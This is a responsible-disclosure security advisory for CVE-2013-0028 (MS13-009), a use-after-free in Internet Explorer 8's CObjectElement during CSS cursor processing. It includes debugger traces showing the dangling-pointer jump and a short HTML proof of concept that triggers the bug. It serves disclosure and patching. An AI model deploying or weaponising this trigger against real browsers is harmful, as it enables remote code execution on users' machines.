security-assessment.com

Vulnerability Advisory

Name	Microsoft Internet Explorer 'CObjectElement' Use-After-Free Vulnerability (MS13-009)
CVE	CVE-2013-0028
Vendor Website	http://www.microsoft.com/
Date Released	12/02/2013
Affected Software	Microsoft Internet Explorer 8
Researchers	Scott Bell

Description

A Use-after-free memory corruption vulnerability was identified in Microsoft Internet Explorer 8. This allows a malicious user to remotely execute arbitrary code on a vulnerable user's machine, in the context of the current user.

The memory corruption occurs because CObjectElement is destroyed while CSS cursor processing is still in progress. While IE is trying to fetch the cursor URI the DOM is torn down and the CObjectElement dangling pointer is re-accessed.

Exploitation

Exploitation of this vulnerability requires a user to visit a page containing specially crafted JavaScript. Users can generally be lured to visit web pages via email, instant message or links on the internet. Vulnerabilities like this are often hosted on legitimate websites which have been compromised by other means.

The following table shows some cursory debug information. In the heap trace you can see the CObjectElement being freed:

Debug Information

```
(9c4.b8): Access violation - code c0000005 (!!! second chance !!!)
eax=00800004 ebx=00000000 ecx=0540cf20 edx=050eff40 esi=00800004 edi=05488fe0
eip=3cf7c7a0 esp=0311dc5c ebp=0311dc70 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
mshtml!CElement::GetMarkupPtr:
3cf7c7a0 8b411c          mov     eax,dword ptr [ecx+1Ch] ds:0023:0540cf3c=????????
1:025> !heap -p -a ecx
    address 0540cf20 found in
    _DPH_HEAP_ROOT @ 151000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                 501e0d0:          540c000             2000
    7c91a1ba ntdll!RtlFreeHeap+0x000000f9
    3d2e0532 mshtml!CObjectElement::`scalar deleting destructor'+0x00000039
    3cfa0a89 mshtml!CBase::SubRelease+0x00000022
    3cf7e61d mshtml!CElement::PrivateRelease+0x00000029
    3cf79b39 mshtml!CDocumentVersionCollection::Release+0x0000000e
    3d2e2db6 mshtml!CObjectElement::DeferredFallback+0x000002f8
    3cf8a6f9 mshtml!GlobalWndOnMethodCall+0x000000fb
    3cf753d0 mshtml!GlobalWndProc+0x00000183
    7e418734 USER32!InternalCallWinProc+0x00000028
    7e418816 USER32!UserCallWinProcCheckWow+0x00000150
    7e4189cd USER32!DispatchMessageWorker+0x00000306
    7e418a10 USER32!DispatchMessageW+0x0000000f
    3e2ec1d5 IEFRAME!CTabWindow::_TabWindowThreadProc+0x0000054c
```

```
   3e2932ee IEFRAME!LCIETab_ThreadProc+0x000002c1
   3e136f69 iertutil!CIsoScope::RegisterThread+0x000000ab
   7c80b729 kernel32!BaseThreadStart+0x00000037

1:025> kv
ChildEBP RetAddr  Args to Child
0311dc58 3d252737 00000001 04dacd58 00000000 mshtml!CElement::GetMarkupPtr (FPO:
[0,0,0])
0311dc70 3d25287b 0311dcb4 0311dc8c 3cf4ce03 mshtml!CCustomCursor::OnDwnChan+0x1d
0311dc7c 3cf4ce03 05072fc0 05488fe0 0311dcc0
mshtml!CCustomCursor::OnDwnChanCallback+0xe
0311dc8c 3cf8a6f9 05072fc0 00000000 04dacd58 mshtml!CDwnChan::OnMethodCall+0x19
0311dcc0 3cf753d0 0311dd48 3cf75322 00000000 mshtml!GlobalWndOnMethodCall+0xfb
0311dce0 7e418734 0510021e 00000009 00000000 mshtml!GlobalWndProc+0x183
0311dd0c 7e418816 3cf75322 0510021e 00008002 USER32!InternalCallWinProc+0x28
0311dd74 7e4189cd 00000000 3cf75322 0510021e USER32!UserCallWinProcCheckWow+0x150
(FPO: [Non-Fpo])
0311ddd4 7e418a10 0311de08 00000000 0311feec USER32!DispatchMessageWorker+0x306
(FPO: [Non-Fpo])
0311dde4 3e2ec1d5 0311de08 00000000 01f1cf58 USER32!DispatchMessageW+0xf (FPO: [Non-
Fpo])
0311feec 3e2932ee 03160fe0 01000002 02811ff0
IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c (FPO: [Non-Fpo])
0311ffa4 3e136f69 01f1cf58 001539ac 0311ffec IEFRAME!LCIETab_ThreadProc+0x2c1 (FPO:
[Non-Fpo])
0311ffb4 7c80b729 02811ff0 01000002 001539ac iertutil!CIsoScope::RegisterThread+0xab (FPO:
[Non-Fpo])
0311ffec 00000000 3e136f5b 02811ff0 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-
Fpo])


1:022> u
mshtml!CElement::GetMarkupPtr:
3cf7c7a0 8b411c          mov     eax,dword ptr [ecx+1Ch]  <--- move free()'d memory into EAX
3cf7c7a3 84c0            test    al,al
3cf7c7a5 0f89cf5ffcff    jns     mshtml!CElement::GetMarkupPtr+0x7 (3cf4277a)
3cf7c7ab 8b4924          mov     ecx,dword ptr [ecx+24h]
3cf7c7ae 8b01            mov     eax,dword ptr [ecx]  <--- move into EAX
3cf7c7b0 8b5020          mov     edx,dword ptr [eax+20h]  <--- move into EDX
3cf7c7b3 ffe2            jmp     edx  <--- Jump to location (code execution is here)
3cf7c7b5 90              nop
```

The following HTML proof of concept code can be used to reproduce the vulnerability:

Proof of Concept

```
<!DOCTYPE HTML>
<html lang="en-GB">
<head>
<script>
function doit(){
   location.reload()
}
</script>
</head>
<body onload="doit()">
<object style="cursor:URL(foo)">
</body>
</html>
```

Solution

Microsoft validated this security issue in Internet Explorer 8 and issued a patch (MS13-009) to remedy it. Security-Assessment.com recommends applying the patch which has been made available via Windows Update.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 460 2596